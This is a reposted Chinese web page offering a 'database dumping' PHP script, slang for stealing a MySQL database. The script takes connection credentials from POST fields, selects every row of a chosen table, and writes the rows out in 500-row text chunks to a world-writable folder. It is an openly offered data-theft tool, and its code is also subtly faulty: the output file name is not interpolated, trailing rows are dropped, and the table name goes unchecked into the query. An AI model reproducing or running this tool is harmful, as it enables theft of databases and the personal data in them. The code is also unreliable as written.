mysql 脱裤_mysql 脱裤(脱库)通用脚本
TK:全面解密脱裤门内幕 --- hExIe Security Team...
Mysql Database on Tables to Txt...
This is a Php Example.#_
E-mail:go_root@hotmail.com #_
Author:HYrz
--------------------------------------------------------
Start Main OK~
........
Host:
User:
Password:
Database Check:
Tables is:
New_Data Filename:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
set_time_limit(0);
error_reporting(E_ALL);
$db_host = $_POST["host"];
$db_user = $_POST["user"];
$db_pass = $_POST["pass"];
$db_database = $_POST["database"];
$db_table = $_POST["table"];
$backDB_Filename = $_POST["back_file"];
if (!isset($db_host))
{
echo "Messagebox: Host Error!";
}elseif (!isset($db_user))
{
echo "Messagebox: User Error!";
}elseif (!isset($db_pass))
{
echo "Messagebox: Pass Error!";
}elseif (!isset($db_database))
{
echo "Messagebox: Database Error!";
}elseif (!isset($db_table))
{
echo "Messagebox: table Error!";
}elseif (!isset($backDB_Filename))
{
echo "Messagebox: backDB_Filename Error!";
} #endif
if (!is_dir('data_xiaosan'))
{
mkdir('data_xiaosan',0777);
}#endif
$sql = mysql_connect($db_host,$db_user,$db_pass) or die("Could not connect: " . mysql_error());
mysql_select_db($db_database,$sql) or die("Could not connect: " . mysql_error());
$result = mysql_query("SELECT * FROM $db_table",$sql) or
die("Could not connect: " . mysql_error());
$i = 0;
$tmp = '';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
$i = $i+1;
$tmp .= implode("::", $row)."\n";
if(!($i%500)){
$filename = 'data_xiaosan/'.intval($i/500).'_$backDB_Filename';
file_put_contents($filename,$tmp);
$tmp = '';
}#endif
}#endwhile
mysql_free_result($result);
mysql_close($sql);
die("Messagebox : Data Write Success!!!");
?>
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!